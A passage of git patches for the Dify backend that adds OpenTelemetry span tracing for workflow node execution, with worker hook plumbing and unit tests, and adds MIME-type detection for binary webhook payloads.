dataclasses import dataclass +from typing import cast, final + +from opentelemetry import context as context_api +from opentelemetry.trace import Span, SpanKind, Tracer, get_tracer, set_span_in_context +from typing_extensions import override + +from configs import dify_config +from core.workflow.enums import NodeType +from core.workflow.graph_engine.layers.base import GraphEngineLayer +from core.workflow.graph_engine.layers.node_parsers import ( + DefaultNodeOTelParser, + NodeOTelParser, + ToolNodeOTelParser, +) +from core.workflow.nodes.base.node import Node +from extensions.otel.runtime import is_instrument_flag_enabled + +logger = logging.getLogger(__name__) + + +@dataclass(slots=True) +class _NodeSpanContext: + span: "Span" + token: object + + +@final +class ObservabilityLayer(GraphEngineLayer): + """ + Layer that creates OpenTelemetry spans for node execution. + + This layer: + - Creates a span when a node starts execution + - Establishes OTel context so automatic instrumentation associates with the span + - Sets complete attributes and status when node execution ends + """ + + def __init__(self) -> None: + super().__init__() + self._node_contexts: dict[str, _NodeSpanContext] = {} + self._parsers: dict[NodeType, NodeOTelParser] = {} + self._default_parser: NodeOTelParser = cast(NodeOTelParser, DefaultNodeOTelParser()) + self._is_disabled: bool = False + self._tracer: Tracer | None = None + self._build_parser_registry() + self._init_tracer() + + def _init_tracer(self) -> None: + """Initialize OpenTelemetry tracer in constructor.""" + if not (dify_config.ENABLE_OTEL or is_instrument_flag_enabled()): + self._is_disabled = True + return + + try: + self._tracer = get_tracer(__name__) + except Exception as e: + logger.warning("Failed to get OpenTelemetry tracer: %s", e) + self._is_disabled = True + + def _build_parser_registry(self) -> None: + """Initialize parser registry for node types.""" + self._parsers = { + NodeType.TOOL: ToolNodeOTelParser(), + } + + def _get_parser(self, node: Node) -> NodeOTelParser: + node_type = getattr(node, "node_type", None) + if isinstance(node_type, NodeType): + return self._parsers.get(node_type, self._default_parser) + return self._default_parser + + @override + def on_graph_start(self) -> None: + """Called when graph execution starts.""" + self._node_contexts.clear() + + @override + def on_node_run_start(self, node: Node) -> None: + """ + Called when a node starts execution. + + Creates a span and establishes OTel context for automatic instrumentation. + """ + if self._is_disabled: + return + + try: + if not self._tracer: + return + + execution_id = node.execution_id + if not execution_id: + return + + parent_context = context_api.get_current() + span = self._tracer.start_span( + f"{node.title}", + kind=SpanKind.INTERNAL, + context=parent_context, + ) + + new_context = set_span_in_context(span) + token = context_api.attach(new_context) + + self._node_contexts[execution_id] = _NodeSpanContext(span=span, token=token) + + except Exception as e: + logger.warning("Failed to create OpenTelemetry span for node %s: %s", node.id, e) + + @override + def on_node_run_end(self, node: Node, error: Exception | None) -> None: + """ + Called when a node finishes execution. + + Sets complete attributes, records exceptions, and ends the span. + """ + if self._is_disabled: + return + + try: + execution_id = node.execution_id + if not execution_id: + return + node_context = self._node_contexts.get(execution_id) + if not node_context: + return + + span = node_context.span + parser = self._get_parser(node) + try: + parser.parse(node=node, span=span, error=error) + span.end() + finally: + token = node_context.token + if token is not None: + try: + context_api.detach(token) + except Exception: + logger.warning("Failed to detach OpenTelemetry token: %s", token) + self._node_contexts.pop(execution_id, None) + + except Exception as e: + logger.warning("Failed to end OpenTelemetry span for node %s: %s", node.id, e) + + @override + def on_event(self, event) -> None: + """Not used in this layer.""" + pass + + @override + def on_graph_end(self, error: Exception | None) -> None: + """Called when graph execution ends.""" + if self._node_contexts: + logger.warning( + "ObservabilityLayer: %d node spans were not properly ended", + len(self._node_contexts), + ) + self._node_contexts.clear() diff --git a/api/core/workflow/graph_engine/worker.py b/api/core/workflow/graph_engine/worker.py index 73e59ee298..e37a08ae47 100644 --- a/api/core/workflow/graph_engine/worker.py +++ b/api/core/workflow/graph_engine/worker.py @@ -9,6 +9,7 @@ import contextvars import queue import threading import time +from collections.abc import Sequence from datetime import datetime from typing import final from uuid import uuid4 @@ -17,6 +18,7 @@ from flask import Flask from typing_extensions import override from core.workflow.graph import Graph +from core.workflow.graph_engine.layers.base import GraphEngineLayer from core.workflow.graph_events import GraphNodeEventBase, NodeRunFailedEvent from core.workflow.nodes.base.node import Node from libs.flask_utils import preserve_flask_contexts @@ -39,6 +41,7 @@ class Worker(threading.Thread): ready_queue: ReadyQueue, event_queue: queue.Queue[GraphNodeEventBase], graph: Graph, + layers: Sequence[GraphEngineLayer], worker_id: int = 0, flask_app: Flask | None = None, context_vars: contextvars.Context | None = None, @@ -50,6 +53,7 @@ class Worker(threading.Thread): ready_queue: Ready queue containing node IDs ready for execution event_queue: Queue for pushing execution events graph: Graph containing nodes to execute + layers: Graph engine layers for node execution hooks worker_id: Unique identifier for this worker flask_app: Optional Flask application for context preservation context_vars: Optional context variables to preserve in worker thread @@ -63,6 +67,7 @@ class Worker(threading.Thread): self._context_vars = context_vars self._stop_event = threading.Event() self._last_task_time = time.time() + self._layers = layers if layers is not None else [] def stop(self) -> None: """Signal the worker to stop processing.""" @@ -122,20 +127,51 @@ class Worker(threading.Thread): Args: node: The node instance to execute """ - # Execute the node with preserved context if Flask app is provided + node.ensure_execution_id() + + error: Exception | None = None + if self._flask_app and self._context_vars: with preserve_flask_contexts( flask_app=self._flask_app, context_vars=self._context_vars, ): - # Execute the node + self._invoke_node_run_start_hooks(node) + try: + node_events = node.run() + for event in node_events: + self._event_queue.put(event) + except Exception as exc: + error = exc + raise + finally: + self._invoke_node_run_end_hooks(node, error) + else: + self._invoke_node_run_start_hooks(node) + try: node_events = node.run() for event in node_events: - # Forward event to dispatcher immediately for streaming self._event_queue.put(event) - else: - # Execute without context preservation - node_events = node.run() - for event in node_events: - # Forward event to dispatcher immediately for streaming - self._event_queue.put(event) + except Exception as exc: + error = exc + raise + finally: + self._invoke_node_run_end_hooks(node, error) + + def _invoke_node_run_start_hooks(self, node: Node) -> None: + """Invoke on_node_run_start hooks for all layers.""" + for layer in self._layers: + try: + layer.on_node_run_start(node) + except Exception: + # Silently ignore layer errors to prevent disrupting node execution + continue + + def _invoke_node_run_end_hooks(self, node: Node, error: Exception | None) -> None: + """Invoke on_node_run_end hooks for all layers.""" + for layer in self._layers: + try: + layer.on_node_run_end(node, error) + except Exception: + # Silently ignore layer errors to prevent disrupting node execution + continue diff --git a/api/core/workflow/graph_engine/worker_management/worker_pool.py b/api/core/workflow/graph_engine/worker_management/worker_pool.py index a9aada9ea5..5b9234586b 100644 --- a/api/core/workflow/graph_engine/worker_management/worker_pool.py +++ b/api/core/workflow/graph_engine/worker_management/worker_pool.py @@ -14,6 +14,7 @@ from configs import dify_config from core.workflow.graph import Graph from core.workflow.graph_events import GraphNodeEventBase +from ..layers.base import GraphEngineLayer from ..ready_queue import ReadyQueue from ..worker import Worker @@ -39,6 +40,7 @@ class WorkerPool: ready_queue: ReadyQueue, event_queue: queue.Queue[GraphNodeEventBase], graph: Graph, + layers: list[GraphEngineLayer], flask_app: "Flask | None" = None, context_vars: "Context | None" = None, min_workers: int | None = None, @@ -53,6 +55,7 @@ class WorkerPool: ready_queue: Ready queue for nodes ready for execution event_queue: Queue for worker events graph: The workflow graph + layers: Graph engine layers for node execution hooks flask_app: Optional Flask app for context preservation context_vars: Optional context variables min_workers: Minimum number of workers @@ -65,6 +68,7 @@ class WorkerPool: self._graph = graph self._flask_app = flask_app self._context_vars = context_vars + self._layers = layers # Scaling parameters with defaults self._min_workers = min_workers or dify_config.GRAPH_ENGINE_MIN_WORKERS @@ -144,6 +148,7 @@ class WorkerPool: ready_queue=self._ready_queue, event_queue=self._event_queue, graph=self._graph, + layers=self._layers, worker_id=worker_id, flask_app=self._flask_app, context_vars=self._context_vars, diff --git a/api/core/workflow/nodes/base/node.py b/api/core/workflow/nodes/base/node.py index c2e1105971..8ebba3659c 100644 --- a/api/core/workflow/nodes/base/node.py +++ b/api/core/workflow/nodes/base/node.py @@ -244,6 +244,15 @@ class Node(Generic[NodeDataT]): def graph_init_params(self) -> "GraphInitParams": return self._graph_init_params + @property + def execution_id(self) -> str: + return self._node_execution_id + + def ensure_execution_id(self) -> str: + if not self._node_execution_id: + self._node_execution_id = str(uuid4()) + return self._node_execution_id + def _hydrate_node_data(self, data: Mapping[str, Any]) -> NodeDataT: return cast(NodeDataT, self._node_data_type.model_validate(data)) @@ -256,14 +265,12 @@ class Node(Generic[NodeDataT]): raise NotImplementedError def run(self) -> Generator[GraphNodeEventBase, None, None]: - # Generate a single node execution ID to use for all events - if not self._node_execution_id: - self._node_execution_id = str(uuid4()) + execution_id = self.ensure_execution_id() self._start_at = naive_utc_now() # Create and push start event with required fields start_event = NodeRunStartedEvent( - id=self._node_execution_id, + id=execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.title, @@ -321,7 +328,7 @@ class Node(Generic[NodeDataT]): if isinstance(event, NodeEventBase): # pyright: ignore[reportUnnecessaryIsInstance] yield self._dispatch(event) elif isinstance(event, GraphNodeEventBase) and not event.in_iteration_id and not event.in_loop_id: # pyright: ignore[reportUnnecessaryIsInstance] - event.id = self._node_execution_id + event.id = self.execution_id yield event else: yield event @@ -333,7 +340,7 @@ class Node(Generic[NodeDataT]): error_type="WorkflowNodeError", ) yield NodeRunFailedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, start_at=self._start_at, @@ -512,7 +519,7 @@ class Node(Generic[NodeDataT]): match result.status: case WorkflowNodeExecutionStatus.FAILED: return NodeRunFailedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self.id, node_type=self.node_type, start_at=self._start_at, @@ -521,7 +528,7 @@ class Node(Generic[NodeDataT]): ) case WorkflowNodeExecutionStatus.SUCCEEDED: return NodeRunSucceededEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self.id, node_type=self.node_type, start_at=self._start_at, @@ -537,7 +544,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: StreamChunkEvent) -> NodeRunStreamChunkEvent: return NodeRunStreamChunkEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, selector=event.selector, @@ -550,7 +557,7 @@ class Node(Generic[NodeDataT]): match event.node_run_result.status: case WorkflowNodeExecutionStatus.SUCCEEDED: return NodeRunSucceededEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, start_at=self._start_at, @@ -558,7 +565,7 @@ class Node(Generic[NodeDataT]): ) case WorkflowNodeExecutionStatus.FAILED: return NodeRunFailedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, start_at=self._start_at, @@ -573,7 +580,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: PauseRequestedEvent) -> NodeRunPauseRequestedEvent: return NodeRunPauseRequestedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_run_result=NodeRunResult(status=WorkflowNodeExecutionStatus.PAUSED), @@ -583,7 +590,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: AgentLogEvent) -> NodeRunAgentLogEvent: return NodeRunAgentLogEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, message_id=event.message_id, @@ -599,7 +606,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: LoopStartedEvent) -> NodeRunLoopStartedEvent: return NodeRunLoopStartedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -612,7 +619,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: LoopNextEvent) -> NodeRunLoopNextEvent: return NodeRunLoopNextEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -623,7 +630,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: LoopSucceededEvent) -> NodeRunLoopSucceededEvent: return NodeRunLoopSucceededEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -637,7 +644,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: LoopFailedEvent) -> NodeRunLoopFailedEvent: return NodeRunLoopFailedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -652,7 +659,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: IterationStartedEvent) -> NodeRunIterationStartedEvent: return NodeRunIterationStartedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -665,7 +672,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: IterationNextEvent) -> NodeRunIterationNextEvent: return NodeRunIterationNextEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -676,7 +683,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: IterationSucceededEvent) -> NodeRunIterationSucceededEvent: return NodeRunIterationSucceededEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -690,7 +697,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: IterationFailedEvent) -> NodeRunIterationFailedEvent: return NodeRunIterationFailedEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, node_title=self.node_data.title, @@ -705,7 +712,7 @@ class Node(Generic[NodeDataT]): @_dispatch.register def _(self, event: RunRetrieverResourceEvent) -> NodeRunRetrieverResourceEvent: return NodeRunRetrieverResourceEvent( - id=self._node_execution_id, + id=self.execution_id, node_id=self._node_id, node_type=self.node_type, retriever_resources=event.retriever_resources, diff --git a/api/core/workflow/workflow_entry.py b/api/core/workflow/workflow_entry.py index d4ec29518a..ddf545bb34 100644 --- a/api/core/workflow/workflow_entry.py +++ b/api/core/workflow/workflow_entry.py @@ -14,7 +14,7 @@ from core.workflow.errors import WorkflowNodeRunFailedError from core.workflow.graph import Graph from core.workflow.graph_engine import GraphEngine from core.workflow.graph_engine.command_channels import InMemoryChannel -from core.workflow.graph_engine.layers import DebugLoggingLayer, ExecutionLimitsLayer +from core.workflow.graph_engine.layers import DebugLoggingLayer, ExecutionLimitsLayer, ObservabilityLayer from core.workflow.graph_engine.protocols.command_channel import CommandChannel from core.workflow.graph_events import GraphEngineEvent, GraphNodeEventBase, GraphRunFailedEvent from core.workflow.nodes import NodeType @@ -23,6 +23,7 @@ from core.workflow.nodes.node_mapping import NODE_TYPE_CLASSES_MAPPING from core.workflow.runtime import GraphRuntimeState, VariablePool from core.workflow.system_variable import SystemVariable from core.workflow.variable_loader import DUMMY_VARIABLE_LOADER, VariableLoader, load_into_variable_pool +from extensions.otel.runtime import is_instrument_flag_enabled from factories import file_factory from models.enums import UserFrom from models.workflow import Workflow @@ -98,6 +99,10 @@ class WorkflowEntry: ) self.graph_engine.layer(limits_layer) + # Add observability layer when OTel is enabled + if dify_config.ENABLE_OTEL or is_instrument_flag_enabled(): + self.graph_engine.layer(ObservabilityLayer()) + def run(self) -> Generator[GraphEngineEvent, None, None]: graph_engine = self.graph_engine diff --git a/api/extensions/otel/decorators/base.py b/api/extensions/otel/decorators/base.py index 9604a3b6d5..14221d24dd 100644 --- a/api/extensions/otel/decorators/base.py +++ b/api/extensions/otel/decorators/base.py @@ -1,5 +1,4 @@ import functools -import os from collections.abc import Callable from typing import Any, TypeVar, cast @@ -7,22 +6,13 @@ from opentelemetry.trace import get_tracer from configs import dify_config from extensions.otel.decorators.handler import SpanHandler +from extensions.otel.runtime import is_instrument_flag_enabled T = TypeVar("T", bound=Callable[..., Any]) _HANDLER_INSTANCES: dict[type[SpanHandler], SpanHandler] = {SpanHandler: SpanHandler()} -def _is_instrument_flag_enabled() -> bool: - """ - Check if external instrumentation is enabled via environment variable. - - Third-party non-invasive instrumentation agents set this flag to coordinate - with Dify's manual OpenTelemetry instrumentation. - """ - return os.getenv("ENABLE_OTEL_FOR_INSTRUMENT", "").strip().lower() == "true" - - def _get_handler_instance(handler_class: type[SpanHandler]) -> SpanHandler: """Get or create a singleton instance of the handler class.""" if handler_class not in _HANDLER_INSTANCES: @@ -43,7 +33,7 @@ def trace_span(handler_class: type[SpanHandler] | None = None) -> Callable[[T], def decorator(func: T) -> T: @functools.wraps(func) def wrapper(*args: Any, **kwargs: Any) -> Any: - if not (dify_config.ENABLE_OTEL or _is_instrument_flag_enabled()): + if not (dify_config.ENABLE_OTEL or is_instrument_flag_enabled()): return func(*args, **kwargs) handler = _get_handler_instance(handler_class or SpanHandler) diff --git a/api/extensions/otel/runtime.py b/api/extensions/otel/runtime.py index 16f5ccf488..a7181d2683 100644 --- a/api/extensions/otel/runtime.py +++ b/api/extensions/otel/runtime.py @@ -1,4 +1,5 @@ import logging +import os import sys from typing import Union @@ -71,3 +72,13 @@ def init_celery_worker(*args, **kwargs): if dify_config.DEBUG: logger.info("Initializing OpenTelemetry for Celery worker") CeleryInstrumentor(tracer_provider=tracer_provider, meter_provider=metric_provider).instrument() + + +def is_instrument_flag_enabled() -> bool: + """ + Check if external instrumentation is enabled via environment variable. + + Third-party non-invasive instrumentation agents set this flag to coordinate + with Dify's manual OpenTelemetry instrumentation. + """ + return os.getenv("ENABLE_OTEL_FOR_INSTRUMENT", "").strip().lower() == "true" diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/__init__.py new file mode 100644 index 0000000000..e69de29bb2 diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py new file mode 100644 index 0000000000..b18a3369e9 --- /dev/null +++ b/api/tests/unit_tests/core/workflow/graph_engine/layers/conftest.py @@ -0,0 +1,101 @@ +""" +Shared fixtures for ObservabilityLayer tests. +""" + +from unittest.mock import MagicMock, patch + +import pytest +from opentelemetry.sdk.trace import TracerProvider +from opentelemetry.sdk.trace.export import SimpleSpanProcessor +from opentelemetry.sdk.trace.export.in_memory_span_exporter import InMemorySpanExporter +from opentelemetry.trace import set_tracer_provider + +from core.workflow.enums import NodeType + + +@pytest.fixture +def memory_span_exporter(): + """Provide an in-memory span exporter for testing.""" + return InMemorySpanExporter() + + +@pytest.fixture +def tracer_provider_with_memory_exporter(memory_span_exporter): + """Provide a TracerProvider configured with memory exporter.""" + import opentelemetry.trace as trace_api + + trace_api._TRACER_PROVIDER = None + trace_api._TRACER_PROVIDER_SET_ONCE._done = False + + provider = TracerProvider() + processor = SimpleSpanProcessor(memory_span_exporter) + provider.add_span_processor(processor) + set_tracer_provider(provider) + + yield provider + + provider.force_flush() + + +@pytest.fixture +def mock_start_node(): + """Create a mock Start Node.""" + node = MagicMock() + node.id = "test-start-node-id" + node.title = "Start Node" + node.execution_id = "test-start-execution-id" + node.node_type = NodeType.START + return node + + +@pytest.fixture +def mock_llm_node(): + """Create a mock LLM Node.""" + node = MagicMock() + node.id = "test-llm-node-id" + node.title = "LLM Node" + node.execution_id = "test-llm-execution-id" + node.node_type = NodeType.LLM + return node + + +@pytest.fixture +def mock_tool_node(): + """Create a mock Tool Node with tool-specific attributes.""" + from core.tools.entities.tool_entities import ToolProviderType + from core.workflow.nodes.tool.entities import ToolNodeData + + node = MagicMock() + node.id = "test-tool-node-id" + node.title = "Test Tool Node" + node.execution_id = "test-tool-execution-id" + node.node_type = NodeType.TOOL + + tool_data = ToolNodeData( + title="Test Tool Node", + desc=None, + provider_id="test-provider-id", + provider_type=ToolProviderType.BUILT_IN, + provider_name="test-provider", + tool_name="test-tool", + tool_label="Test Tool", + tool_configurations={}, + tool_parameters={}, + ) + node._node_data = tool_data + + return node + + +@pytest.fixture +def mock_is_instrument_flag_enabled_false(): + """Mock is_instrument_flag_enabled to return False.""" + with patch("core.workflow.graph_engine.layers.observability.is_instrument_flag_enabled", return_value=False): + yield + + +@pytest.fixture +def mock_is_instrument_flag_enabled_true(): + """Mock is_instrument_flag_enabled to return True.""" + with patch("core.workflow.graph_engine.layers.observability.is_instrument_flag_enabled", return_value=True): + yield diff --git a/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py b/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py new file mode 100644 index 0000000000..458cf2cc67 --- /dev/null +++ b/api/tests/unit_tests/core/workflow/graph_engine/layers/test_observability.py @@ -0,0 +1,219 @@ +""" +Tests for ObservabilityLayer. + +Test coverage: +- Initialization and enable/disable logic +- Node span lifecycle (start, end, error handling) +- Parser integration (default and tool-specific) +- Graph lifecycle management +- Disabled mode behavior +""" + +from unittest.mock import patch + +import pytest +from opentelemetry.trace import StatusCode + +from core.workflow.enums import NodeType +from core.workflow.graph_engine.layers.observability import ObservabilityLayer + + +class TestObservabilityLayerInitialization: + """Test ObservabilityLayer initialization logic.""" + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_initialization_when_otel_enabled(self, tracer_provider_with_memory_exporter): + """Test that layer initializes correctly when OTel is enabled.""" + layer = ObservabilityLayer() + assert not layer._is_disabled + assert layer._tracer is not None + assert NodeType.TOOL in layer._parsers + assert layer._default_parser is not None + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_true") + def test_initialization_when_instrument_flag_enabled(self, tracer_provider_with_memory_exporter): + """Test that layer enables when instrument flag is enabled.""" + layer = ObservabilityLayer() + assert not layer._is_disabled + assert layer._tracer is not None + assert NodeType.TOOL in layer._parsers + assert layer._default_parser is not None + + +class TestObservabilityLayerNodeSpanLifecycle: + """Test node span creation and lifecycle management.""" + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_node_span_created_and_ended( + self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node + ): + """Test that span is created on node start and ended on node end.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_start(mock_llm_node) + layer.on_node_run_end(mock_llm_node, None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 1 + assert spans[0].name == mock_llm_node.title + assert spans[0].status.status_code == StatusCode.OK + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_node_error_recorded_in_span( + self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node + ): + """Test that node execution errors are recorded in span.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + error = ValueError("Test error") + layer.on_node_run_start(mock_llm_node) + layer.on_node_run_end(mock_llm_node, error) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 1 + assert spans[0].status.status_code == StatusCode.ERROR + assert len(spans[0].events) > 0 + assert any("exception" in event.name.lower() for event in spans[0].events) + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_node_end_without_start_handled_gracefully( + self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node + ): + """Test that ending a node without start doesn't crash.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_end(mock_llm_node, None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 0 + + +class TestObservabilityLayerParserIntegration: + """Test parser integration for different node types.""" + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_default_parser_used_for_regular_node( + self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_start_node + ): + """Test that default parser is used for non-tool nodes.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_start(mock_start_node) + layer.on_node_run_end(mock_start_node, None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 1 + attrs = spans[0].attributes + assert attrs["node.id"] == mock_start_node.id + assert attrs["node.execution_id"] == mock_start_node.execution_id + assert attrs["node.type"] == mock_start_node.node_type.value + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_tool_parser_used_for_tool_node( + self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_tool_node + ): + """Test that tool parser is used for tool nodes.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_start(mock_tool_node) + layer.on_node_run_end(mock_tool_node, None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 1 + attrs = spans[0].attributes + assert attrs["node.id"] == mock_tool_node.id + assert attrs["tool.provider.id"] == mock_tool_node._node_data.provider_id + assert attrs["tool.provider.type"] == mock_tool_node._node_data.provider_type.value + assert attrs["tool.name"] == mock_tool_node._node_data.tool_name + + +class TestObservabilityLayerGraphLifecycle: + """Test graph lifecycle management.""" + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_on_graph_start_clears_contexts(self, tracer_provider_with_memory_exporter, mock_llm_node): + """Test that on_graph_start clears node contexts.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_start(mock_llm_node) + assert len(layer._node_contexts) == 1 + + layer.on_graph_start() + assert len(layer._node_contexts) == 0 + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_on_graph_end_with_no_unfinished_spans( + self, tracer_provider_with_memory_exporter, memory_span_exporter, mock_llm_node + ): + """Test that on_graph_end handles normal completion.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_start(mock_llm_node) + layer.on_node_run_end(mock_llm_node, None) + layer.on_graph_end(None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 1 + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", True) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_on_graph_end_with_unfinished_spans_logs_warning( + self, tracer_provider_with_memory_exporter, mock_llm_node, caplog + ): + """Test that on_graph_end logs warning for unfinished spans.""" + layer = ObservabilityLayer() + layer.on_graph_start() + + layer.on_node_run_start(mock_llm_node) + assert len(layer._node_contexts) == 1 + + layer.on_graph_end(None) + + assert len(layer._node_contexts) == 0 + assert "node spans were not properly ended" in caplog.text + + +class TestObservabilityLayerDisabledMode: + """Test behavior when layer is disabled.""" + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_disabled_mode_skips_node_start(self, memory_span_exporter, mock_start_node): + """Test that disabled layer doesn't create spans on node start.""" + layer = ObservabilityLayer() + assert layer._is_disabled + + layer.on_graph_start() + layer.on_node_run_start(mock_start_node) + layer.on_node_run_end(mock_start_node, None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 0 + + @patch("core.workflow.graph_engine.layers.observability.dify_config.ENABLE_OTEL", False) + @pytest.mark.usefixtures("mock_is_instrument_flag_enabled_false") + def test_disabled_mode_skips_node_end(self, memory_span_exporter, mock_llm_node): + """Test that disabled layer doesn't process node end.""" + layer = ObservabilityLayer() + assert layer._is_disabled + + layer.on_node_run_end(mock_llm_node, None) + + spans = memory_span_exporter.get_finished_spans() + assert len(spans) == 0 From 7695f9151c67fa52a2bebcbd788bf7d5bd875051 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9D=9E=E6=B3=95=E6=93=8D=E4=BD=9C?= Date: Tue, 16 Dec 2025 13:34:27 +0800 Subject: [PATCH 19/38] chore: webhook with bin file should guess mimetype (#29704) Co-authored-by: Copilot <175728472+Copilot@users.noreply.github.com> Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com> Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com> Co-authored-by: Maries --- api/services/trigger/webhook_service.py | 20 +++++- .../services/test_webhook_service.py | 64 +++++++++++++++++++ 2 files changed, 83 insertions(+), 1 deletion(-) diff --git a/api/services/trigger/webhook_service.py b/api/services/trigger/webhook_service.py index 4b3e1330fd..5c4607d400 100644 --- a/api/services/trigger/webhook_service.py +++ b/api/services/trigger/webhook_service.py @@ -33,6 +33,11 @@ from services.errors.app import QuotaExceededError from services.trigger.app_trigger_service import AppTriggerService from services.workflow.entities import WebhookTriggerData +try: + import magic +except ImportError: + magic = None # type: ignore[assignment] + logger = logging.getLogger(__name__) @@ -317,7 +322,8 @@ class WebhookService: try: file_content = request.get_data() if file_content: - file_obj = cls._create_file_from_binary(file_content, "application/octet-stream", webhook_trigger) + mimetype = cls._detect_binary_mimetype(file_content) + file_obj = cls._create_file_from_binary(file_content, mimetype, webhook_trigger) return {"raw": file_obj.to_dict()}, {} else: return {"raw": None}, {} @@ -341,6 +347,18 @@ class WebhookService: body = {"raw": ""} return body, {} + @staticmethod + def _detect_binary_mimetype(file_content: bytes) -> str: + """Guess MIME type for binary payloads using python-magic when available.""" + if magic is not None: + try: + detected = magic.from_buffer(file_content[:1024], mime=True) + if detected: + return detected + except Exception: + logger.debug("python-magic detection failed for octet-stream payload") + return "application/octet-stream" + @classmethod def _process_file_uploads( cls, files: Mapping[str, FileStorage], webhook_trigger: WorkflowWebhookTrigger diff --git a/api/tests/unit_tests/services/test_webhook_service.py b/api/tests/unit_tests/services/test_webhook_service.py index 920b1e91b6..d788657589 100644 --- a/api/tests/unit_tests/services/test_webhook_service.py +++ b/api/tests/unit_tests/services/test_webhook_service.py @@ -110,6 +110,70 @@ class TestWebhookServiceUnit: assert webhook_data["method"] == "POST" assert 